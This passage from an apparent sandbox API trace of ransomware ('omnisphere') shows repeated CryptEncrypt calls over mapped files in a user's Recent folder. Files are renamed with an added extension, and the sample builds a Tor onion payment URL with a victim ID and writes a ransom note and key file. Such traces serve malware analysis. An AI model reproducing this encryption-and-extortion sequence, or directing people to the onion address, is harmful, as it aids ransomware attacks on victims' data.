pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.672] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.672] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.672] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.672] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.672] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.672] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.672] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.672] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.673] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.673] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.673] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.673] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.673] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.673] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.673] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.673] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.673] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.673] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.673] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.673] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.673] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.673] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.673] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.673] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.673] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.673] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.673] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.673] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.674] CryptDestroyKey (hKey=0x1639868) returned 1 [0126.674] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0126.674] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3b5, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.674] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.674] GetProcessHeap () returned 0x1600000 [0126.674] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ac) returned 0x16d6898 [0126.674] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nfYii0C3y.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\nfyii0c3y.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nfYii0C3y.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\nfyii0c3y.lnk.omnisphere")) returned 1 [0126.675] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nfYii0C3y.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nfYii0C3y.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nfYii0C3y.lnk.omnisphere.id" [0126.675] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nfYii0C3y.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\nfyii0c3y.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.675] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.677] CloseHandle (hObject=0x3c0) returned 1 [0126.677] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.677] CloseHandle (hObject=0x288) returned 1 [0126.677] SetEndOfFile (hFile=0x28c) returned 1 [0126.677] FlushFileBuffers (hFile=0x28c) returned 1 [0126.684] CloseHandle (hObject=0x28c) returned 1 [0126.684] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nfYii0C3y.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.684] GetProcessHeap () returned 0x1600000 [0126.684] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ed038 [0126.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.684] GetProcessHeap () returned 0x1600000 [0126.684] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5910 [0126.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5910, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.685] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.685] GetProcessHeap () returned 0x1600000 [0126.685] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d7ea8 [0126.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d7ea8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.685] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.685] GetProcessHeap () returned 0x1600000 [0126.685] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d8c08 [0126.685] PathCombineW (in: pszDest=0x16d8c08, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.685] GetProcessHeap () returned 0x1600000 [0126.685] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16de190 [0126.685] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.685] WriteFile (in: hFile=0x28c, lpBuffer=0x16de190*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16de190*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.686] CloseHandle (hObject=0x28c) returned 1 [0126.686] GetProcessHeap () returned 0x1600000 [0126.686] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ed038 | out: hHeap=0x1600000) returned 1 [0126.686] GetProcessHeap () returned 0x1600000 [0126.686] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.686] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.686] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.687] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.687] CloseHandle (hObject=0x28c) returned 1 [0126.687] GetProcessHeap () returned 0x1600000 [0126.687] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.687] GetProcessHeap () returned 0x1600000 [0126.687] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16568c8 | out: hHeap=0x1600000) returned 1 [0126.687] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fa0a2ee, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1fa0a2ee, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1fa0a2ee, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3d3, dwReserved0=0x0, dwReserved1=0xd3, cFileName="NvKrKIbFyZe_gOh.lnk", cAlternateFileName="NVKRKI~1.LNK")) returned 1 [0126.687] GetProcessHeap () returned 0x1600000 [0126.687] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa8) returned 0x162cec8 [0126.687] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="NvKrKIbFyZe_gOh.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NvKrKIbFyZe_gOh.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NvKrKIbFyZe_gOh.lnk" [0126.687] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.687] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NvKrKIbFyZe_gOh.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\nvkrkibfyze_goh.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.688] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=979) returned 1 [0126.688] GetTickCount () returned 0x115f9dd [0126.688] GetTickCount () returned 0x115f9dd [0126.688] GetTickCount () returned 0x115f9dd [0126.688] GetTickCount () returned 0x115f9dd [0126.688] GetTickCount () returned 0x115f9dd [0126.688] GetTickCount () returned 0x115f9dd [0126.688] GetTickCount () returned 0x115f9dd [0126.688] GetTickCount () returned 0x115f9dd [0126.688] GetTickCount () returned 0x115f9dd [0126.688] GetTickCount () returned 0x115f9dd [0126.688] GetTickCount () returned 0x115f9dd [0126.688] GetTickCount () returned 0x115f9dd [0126.688] GetTickCount () returned 0x115f9dd [0126.688] GetTickCount () returned 0x115f9dd [0126.688] GetTickCount () returned 0x115f9dd [0126.688] GetTickCount () returned 0x115f9dd [0126.688] GetTickCount () returned 0x115f9dd [0126.688] GetTickCount () returned 0x115f9dd [0126.688] GetTickCount () returned 0x115f9dd [0126.689] GetTickCount () returned 0x115f9dd [0126.689] GetTickCount () returned 0x115f9dd [0126.689] GetTickCount () returned 0x115f9dd [0126.689] GetTickCount () returned 0x115f9dd [0126.689] GetTickCount () returned 0x115f9dd [0126.689] GetTickCount () returned 0x115f9dd [0126.689] GetTickCount () returned 0x115f9dd [0126.689] GetTickCount () returned 0x115f9dd [0126.689] GetTickCount () returned 0x115f9dd [0126.689] GetTickCount () returned 0x115f9dd [0126.689] GetTickCount () returned 0x115f9dd [0126.689] GetTickCount () returned 0x115f9dd [0126.689] GetTickCount () returned 0x115f9dd [0126.689] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668d68) returned 1 [0126.690] CryptImportKey (in: hProv=0x1668d68, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0126.690] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.690] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.690] CryptReleaseContext (hProv=0x1668d68, dwFlags=0x0) returned 1 [0126.690] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d3, lpName=0x0) returned 0x288 [0126.690] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d3) returned 0x1480000 [0126.690] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668460) returned 1 [0126.691] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639568) returned 1 [0126.691] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.691] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.691] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.691] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.691] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.691] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.692] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.692] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.692] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.692] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.692] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.692] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.692] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.692] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.692] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.692] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.692] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.692] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.692] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.692] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.692] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.692] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.692] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.692] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.692] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.693] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.693] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.693] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.693] CryptEncrypt (in: 